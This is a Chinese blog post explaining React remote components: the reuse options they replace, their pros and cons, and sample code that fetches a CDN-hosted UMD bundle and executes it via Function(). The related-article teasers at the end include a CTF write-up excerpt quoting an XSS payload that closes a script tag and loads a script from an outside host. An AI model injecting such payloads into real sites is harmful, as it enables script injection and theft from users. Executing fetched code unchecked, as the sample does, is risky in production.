React远程组件

什么是远程组件?

远程组件指的是从远程服务器动态加载的组件,这些组件可以是React、Vue等框架的组件。

为什么需要远程组件

本质上就是为了解决复用问题,那引出新的问题有几种公共项目代码复用方式?

Git仓库

将公共代码单独抽到一个仓库去维护
优点如下
版本控制: 可以精确控制每个子模块的版本,避免不同项目使用不同版本的共同代码。
独立性: 子模块可以独立于主项目进行开发和发布。
清晰结构: 项目结构清晰,易于管理和理解。
缺点如下
管理复杂: 每次都需要手动更新。

npm包

发布到仓库中,需要的项目npm install
缺点:每次更新版本都需要重新publish

Monorepo

优点
统一管理: 所有相关项目都在同一个仓库中,便于统一管理和版本控制。
原子提交: 可以进行跨项目的原子提交,确保所有相关更改都是一致的。
代码共享: 共享代码可以直接引用,无需额外的包管理或子模块配置。
缺点
仓库大小: 单个仓库可能会变得非常大,影响克隆和拉取的速度。
复杂性: 需要更复杂的工具和流程来管理大型仓库,如 Lerna、Nx 等。
权限管理: 需要更细致的权限管理,确保不同团队成员只能访问他们需要的部分。

使用场景

有些公共组件会频繁的根据需求变更,对于多个项目共用的组件库来说,修改组件其影响范围是不可控的。此外,每次修改公共代码后需要更新版本,有时候可能只是个很小的更新没必要更新整个代码库版本。
因此对于某个经常需要迭代的公共代码/组件可以单独打包放到CDN上动态加载。

优点

1、方便的版本控制。多个项目依赖不同版本,可以打包多分放到CDN上,对应项目加载即可;
2、高效率。通过动态加载,可以在不重新构建和部署整个应用的情况下,更新和扩展前端功能,用户体验也好,可保证用户体验到最新的代码;
3、代码复用,多个项目使用可以有加载;

缺点

1、需要请求对应文件,如果组件太大,加载速度就会慢;
2、如果组件服务崩溃,可能导致组件加载错误,从而使整个业务不可用;

简陋版代码展示

要远程加载的组件源码,写完后建议打包成umd格式。

import { Button, Form } from 'antd/es';
import React from 'react';const YuButton = (props:{p_click?:()=>voidm_click?:()=>void
})=>{const style = { marginRight: 5 };return (<><Button type="primary" onClick={props.p_click} style={style}>主要按钮</Button><Button type="primary" onClick={props.m_click} style={style} loading>主要按钮</Button><Button type="primary" style={style} disabled>禁用</Button></>);
}
const YuText = (props:{Items:{label: string, content:string}[]
})=>{
return props?.Items?.length > 0 ? (<Formname="basic"labelCol={{ span: 8 }}wrapperCol={{ span: 16 }}autoComplete="off">{props.Items.map((item)=>{return <Form.Item  label={item.label}>{item.content}</Form.Item>})}</Form>
) : <div>暂无数据</div>
}export default {YuButton,YuText
}
function App() {return (<div className="App"><header className="App-header"><RemoteComponent  name='YuButton'>Click Me</RemoteComponent><RemoteComponent  name='YuText' Items={[{label:'label', content:"12312"}]}>Click Me</RemoteComponent><RemoteComponent  name='YuText1' Items={[{label:'label', content:"12312"}]}>Click Me</RemoteComponent></header></div>);
}
const RemoteComponent = ({name, children, ...props}) => {const Component = useMemo(() => {return React.lazy(() => fetchComponent(name))}, [name])return (<Suspensefallback={<div style={{alignItems: 'center', justifyContent: 'center', flex: 1}}><span style={{fontSize: 50}}>Loading...</span></div>}><Component {...props}>{children}</Component></Suspense>)
}const fetchComponent = async (name) => {const text = await fetch(`/index.umd.js?ts=${Date.now()}` // 将打包的放到CDN上,这里填写CDN的地址加载这个打包后的js文件).then((res) => {if (!res.ok) {throw new Error('Network response was not ok')}return res.text()})const module = getParsedModule(text, name)if(Object.keys(module.exports).includes(name)){return {default: module.exports[name]} // 这里我们可以得到打包后的组件}return {default: ()=> <div style={{color:'red'}}>加载失败</div>}
}const packages = { // 需要什么包传什么包(为了减小打包体积),或者在打包的时候将这些需要的包一起打包进去react: React,'antd/es': {Button, Form}
}
const getParsedModule = (code) => {let module = {exports: {},}const require = (name) => {return packages[name]}Function('require, exports, module', code)(require, {}, module)// 打包UMD格式的话把这些传进去return module
}

效果展示

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/55707.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CTFHUB技能树之XSS——DOM反射

开启靶场&#xff0c;打开链接&#xff1a; 直接指明是DOM反射型的XSS漏洞 右键查看页面源代码&#xff0c;Ctrl F关键词”CTFHub is very“&#xff1a; 可以看到存在xss漏洞 不过得先闭合一下&#xff1a; 闭合例子如下&#xff1a; ;</sCrIpT><sCRiPt sRC//xs.pe/…

Java利用ChromeDriver插件网页截图(Wondows版+Linux版)

chromedriver是谷歌浏览器驱动,用来模拟谷歌运行操作的一个工具&#xff0c;此处主要讲解Java后端利用此插件进行网页截图&#xff0c;并且适配Linux部署。 环境准备 Wondows服务器或电脑 本机需安装Chrome谷歌浏览器&#xff0c;根据本机浏览器版本&#xff0c;下载对应的chr…

YOLOv11改进-卷积-空间和通道重构卷积SCConv

本篇文章将介绍一个新的改进模块——SCConv&#xff08;小波空间和通道重构卷积&#xff09;&#xff0c;并阐述如何将其应用于YOLOv11中&#xff0c;显著提升模型性能。为了减少YOLOv11模型的空间和通道维度上的冗余&#xff0c;我们引入空间和通道重构卷积。首先&#xff0c;…

Java 入门基础篇15 - java构造方法以及认识新的关键字

一 今日目标 构造方法static关键字代码块math类package关键字import关键字 二 构造方法概述 2.1 构造方法描述 构造方法是一个特殊方法&#xff0c;作用是创建对象&#xff0c;对对象进行初始化。 ​ 如&#xff1a; 对对象中的成员进行初始化值 2.1 构造方法的特征 1、方…

【C语言】循环结构-for循环

循环结构&#xff1a;计算机最擅长的事情就是做简单重复的工作 通过控制循环变量&#xff0c;是否满足循环条件来调整循环次数。 for(初始化;循环条件;循环控制) {循环体; }#include <stdio.h> #include <math.h> /* 功能&#xff1a;循环结构&#xff08;for&…

前端开发攻略---使用ocr识别图片进行文字提取功能

1、引入资源 通过链接引用 <script src"https://cdn.bootcdn.net/ajax/libs/tesseract.js/5.1.0/tesseract.min.js"></script> npm或其他方式下载 npm i tesseract 2、示例 <!DOCTYPE html> <html lang"en"><head><meta…

Oracle分布式数据库的安装遇到的问题【已解决】:找不到scott用户、出现【INS-30014】错误、oracle登录适配器错误

Oracle分布式数据库的安装遇到的问题【已解决】&#xff1a;找不到scott用户、出现【INS-30014】错误、oracle登录适配器错误 安装oracle19c软件利用Database Configuration Assistant&#xff0c;创建orcl数据库第一步&#xff1a;在开始菜单找到Oracle&#xff0c;点击“Data…

Linux——K8S平台的权限规划

Based ON ROLE Access Control &#xff08;BRAC&#xff09; ROLE 角色 &#xff1a;对于平台中需要被访问的资源的权限集合 管理员&#xff1a;对于平台具备完整的控制权限&#xff08;admin&#xff09;审计员&#xff1a; 可以查看平台运行的完整日志 操作记录等内容指定名…

Go语言基础学习(Go安装配置、基础语法)·

一、简介及安装教程 1、为什么学习Go&#xff1f; 简单好记的关键词和语法&#xff1b;更高的效率&#xff1b;生态强大&#xff1b;语法检查严格&#xff0c;安全性高&#xff1b;严格的依赖管理&#xff0c; go mod 命令&#xff1b;强大的编译检查、严格的编码规范和完整的…

leetcode hot100 之【LeetCode 42. 接雨水】 java实现

LeetCode 42. 接雨水 题目描述 给定一个非负整数数组 height 表示柱状图中每个柱子的高度&#xff0c;请你计算按此排列的柱状图能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 解释&#xff1a;上面的柱状图可以…

R语言绘制线性回归图

线性回归图以二维坐标系展示两个变量关系。数据点代表实际观测值&#xff0c;核心是线性回归线。此线通过统计方法确定&#xff0c;与数据点距离平方和最小。它反映变量间线性趋势&#xff0c;斜率正负决定相关方向。可用于预测因变量值&#xff0c;也能进行推断统计。在数据分…

【不知道原因的问题】java.lang.AbstractMethodError

项目场景&#xff1a; 提示&#xff1a;这里简述项目相关背景&#xff1a; 遇到了一个问题&#xff1a; java.lang.AbstractMethodError 问题描述 提示&#xff1a;这里描述项目中遇到的问题&#xff1a; 在Java开发中&#xff0c;java.lang.AbstractMethodError是一个常见…

Flink 06 聚合操作入门学习,真不难

抛砖引玉 让你统计1小时内每种商品的销售额&#xff0c;用Flink 该怎么实现。 还是让你统计1小时内每种商品的销售额&#xff0c;但是要过滤掉退款的订单&#xff0c;用Flink 该怎么实现。 学了本文两个操作&#xff0c;不信你还不会。 AggregateFunction ❝ 通常用于对数据…

Android从上帝视角来看PackageManagerService

戳蓝字“牛晓伟”关注我哦&#xff01; 用心坚持输出易读、有趣、有深度、高质量、体系化的技术文章&#xff0c;技术文章也可以有温度。 前言 阅读该篇之前&#xff0c;建议先阅读下面的系列文章&#xff1a; Android深入理解包管理–PackageManagerService和它的“小伙伴…

HTB:Bashed[WriteUP]

目录 连接至HTB服务器并启动靶机 1.How many open TCP ports are listening on Bashed? 2.What is the relative path on the webserver to a folder that contains phpbash.php? 3.What user is the webserver running as on Bashed? 执行命令&#xff1a;whoami 4.S…

Java正则表达式获取中间文本

A和B之间的文本&#xff0c;不包含AB&#xff08;? 非贪婪匹配&#xff09; 表达式&#xff1a;(?<A).*?(?B)A和B之间的文本&#xff0c;包含B不包含A 表达式&#xff1a;A.*?(?B)A和B之间的文本&#xff0c;包含AB 表达式&#xff1a;A.*?B public static void mai…

uniapp配置微信小程序分包(分包优化)

1.manifest.json中 源码视图中找到mp-weixin&#xff0c;新增代码"optimization":{"subPackages":true}&#xff0c;如下图所示 "optimization" : {"subPackages" : true } 2.pages.json中 分包内静态文件示例 "subPackages&…

GraphRAG 与 RAG 的比较分析,收藏这一篇就够了!!!

检索增强生成&#xff08;RAG&#xff09;技术概述 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff0c;简称 RAG&#xff09;是一种旨在提升大型语言模型&#xff08;Large Language Models&#xff0c;LLMs&#xff09;性能的技术方法。其核心思想是通过整…

5 -《本地部署开源大模型》在Ubuntu 22.04系统下ChatGLM3-6B高效微调实战

在Ubuntu 22.04系统下ChatGLM3-6B高效微调实战 无论是在单机单卡&#xff08;一台机器上只有一块GPU&#xff09;还是单机多卡&#xff08;一台机器上有多块GPU&#xff09;的硬件配置上启动ChatGLM3-6B模型&#xff0c;其前置环境配置和项目文件是相同的。如果大家对配置过程还…

如何给手机换ip地址

在当今数字化时代&#xff0c;IP地址作为设备在网络中的唯一标识&#xff0c;扮演着举足轻重的角色。然而&#xff0c;有时出于隐私保护、网络访问需求或其他特定原因&#xff0c;我们可能需要更改手机的IP地址。本文将详细介绍几种实用的方法&#xff0c;帮助您轻松实现手机IP…